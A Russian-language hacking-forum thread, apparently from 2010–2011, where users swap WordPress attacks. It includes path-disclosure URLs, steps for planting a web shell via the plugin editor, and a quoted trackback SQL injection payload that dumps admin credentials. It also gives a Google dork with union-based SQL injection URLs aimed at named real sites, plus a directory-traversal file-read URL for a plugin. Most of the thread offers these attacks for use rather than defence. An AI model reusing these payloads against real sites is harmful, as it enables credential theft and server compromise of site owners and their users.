ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

17.08.2010, 17:39
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме: 568388
Репутация:
87
|
|
Сообщение от RA1Sh
RA1Sh said:
Как её прикрыть ? ))
для этого есть много различных мануалов, и если будут проблемы то можно задавать их тут /forum37.html специальный спец раздел.
з.ы /thread30641.html
|
|
|

19.08.2010, 18:51
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме: 568388
Репутация:
87
|
|
WordPress 3.0.1
поковырялся немного и нашел пути
Раскрытие пути:
Код:
Code:
http://localhost/wordpress/wp-admin/edit.php?post_type[]=page
http://localhost/wordpress/wp-admin/options-general.php?page[]=
http://localhost/wordpress/wp-admin/post-new.php?post_type[]=page
http://localhost/wordpress/wp-admin/plugins.php?activate=true&plugin_status=all&paged[]=1
http://localhost/wordpress/wp-admin/plugin-editor.php?file[]=
Заливаем шелл через админку:
Сообщение от None
http://localhost/wordpress/wp-admin/plugin-editor.php?file=index.php
все удаляем и пишем исходный код шелла..
по адресу site/wordpress/wp-content/plugins/ будет наш шелл.
|
|
|

19.08.2010, 20:11
|
|
Участник форума
Регистрация: 20.02.2010
Сообщений: 121
Провел на форуме: 496930
Репутация:
60
|
|
Ок, вот тоже парочку раскрытей наковырял:
Сообщение от None
http://site.ru/wp-content/plugins/contact-form-7/admin/admin.php - Если стоит contact-form-7
http://site.ru/wp-content/plugins/akismet/akismet.php - стандартный плагин
|
|
|

19.08.2010, 21:37
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме: 2485155
Репутация:
719
|
|
Сообщение от Berman
Berman said:
Ок, вот тоже парочку раскрытей наковырял:
в тройке практически во всех php файлах присутствует ошибка обработки get_header();, что ведет к раскрытию путей, я у себя просто запретил вывод ошибок, добавив error_reporting (0);.
Если можно по другому решить это, буду рад услышать .
|
|
|

14.09.2010, 23:22
|
|
Участник форума
Регистрация: 31.03.2008
Сообщений: 160
Провел на форуме: 706093
Репутация:
97
|
|
Кто может рассказать про уязвимость с выдеранием фтп в WP версиях 2.8.6-3.0.0? Или выдеранием админских данных?
|
|
|

27.09.2010, 17:48
|
|
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме: 559542
Репутация:
94
|
|
WordPress 2.9.2
Код:
Code:
http://127.0.0.1/wordpress/wp-admin/includes/misc.php
http://127.0.0.1/wordpress/wp-admin/import/rss.php
http://127.0.0.1/wordpress/wp-admin/includes/admin.php
http://127.0.0.1/wordpress/wp-admin/includes/file.php
http://127.0.0.1/wordpress/wp-admin/includes/comment.php
http://127.0.0.1/wordpress/wp-admin/includes/user.php
http://127.0.0.1/wordpress/wp-admin/includes/update.php
+ по умалчанию можно смотреть содержимое http://127.0.0.1/wordpress/wp-admin/includes/ в котором много файлов с раскрытием путей.
Ссори, если баян.
|
|
|

12.12.2010, 20:37
|
|
Познающий
Регистрация: 10.02.2008
Сообщений: 56
Провел на форуме: 271527
Репутация:
14
|
|
SQL-inj WordPress до версии 3.0.1 (нужны права Author)
Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.
Access Vector: Network
Attack Complexity: Medium
Authentication: Single Instance
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Код:
Code:
UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this
article.
The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that
comes from the user, allowing a remote user with publish_posts and edit_published_posts
capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any
information stored in the WordPress database.
function do_trackbacks($post_id) {
global $wpdb;
$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
$to_ping = get_to_ping($post_id);
$pinged = get_pung($post_id);
if ( empty($to_ping) ) {
$wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
return;
}
if ( empty($post->post_excerpt) )
$excerpt = apply_filters('the_content', $post->post_content);
else
$excerpt = apply_filters('the_excerpt', $post->post_excerpt);
$excerpt = str_replace(']]>', ']]>', $excerpt);
$excerpt = wp_html_excerpt($excerpt, 252) . '...';
$post_title = apply_filters('the_title', $post->post_title);
$post_title = strip_tags($post_title);
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
}
}
}
}
The $tb_ping variable is passed to the query in line 1657 unescaped.
Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities
(this corresponds to the Author role).
First, the user creates a new post (title/content does not matter); text to put into the “Send Trackbacks” field is:
AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’
and publishes it. He needs to wait a bit — for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed:
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
Then the user goes back and edits the post.
Now the user duplicates the text in the “Send Trackbacks” field and updates the post:
AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’
AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’
The get_to_ping() function says that these trackbacks are to be processed:
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
Query logging shows that WordPress executes this query (reformatted for the sake of readbility):
UPDATE wp_posts
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', ''))
WHERE ID = 11
After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), the admin information is shown in the input box.
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.
The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.
The examples above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.
Только что проверил на денвере. На 3.0.1 работает, на 3.0.2 нет.
|
|
|

05.04.2011, 01:11
|
|
Познающий
Регистрация: 10.04.2010
Сообщений: 49
Провел на форуме: 168709
Репутация:
1
|
|
FBConnect SQL-InJ
Доброго времени суток, ковырял тут водпресс и вот что наковырял)
Тип: SQL-Inj
Плагин: Хрен его знает как он называется точно, так как пасс не подобрал) но какой-то фейсбуковский)
Dork: inurl:"fbconnect_action=myhome"
Собственно PoC:
http://www.sociable.es/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z0mbyak,7,8,9,10,11,12+from+wp_users--
или
http://binaries.ru/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z0mbyak,7,8,9,10,11,12+from+wp_users--
P.S. Вроде не боян, хотя с вордпрессом не работаю, поэтому не в курсе)
P.P.S В Google
Сообщение от None
Результатов: примерно 926 000
Развлекайтесь)))
|
|
|

05.04.2011, 16:55
|
|
Новичок
Регистрация: 07.05.2009
Сообщений: 20
Провел на форуме: 86381
Репутация:
16
|
|
|
|
|

05.04.2011, 17:32
|
|
Guest
Сообщений: n/a
Провел на форуме: 1941
Репутация:
0
|
|
LFI
Vulnerable Plugin: WordPress WP Custom Pages 0.5.0.1
Type vulnerable: LFI
Description: Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.
-=POC=-
Код:
Code:
http://localhost/wordpress/wp-content/plugins/wp-custom-pages/wp-
download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
Author: AutoSec Tools
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|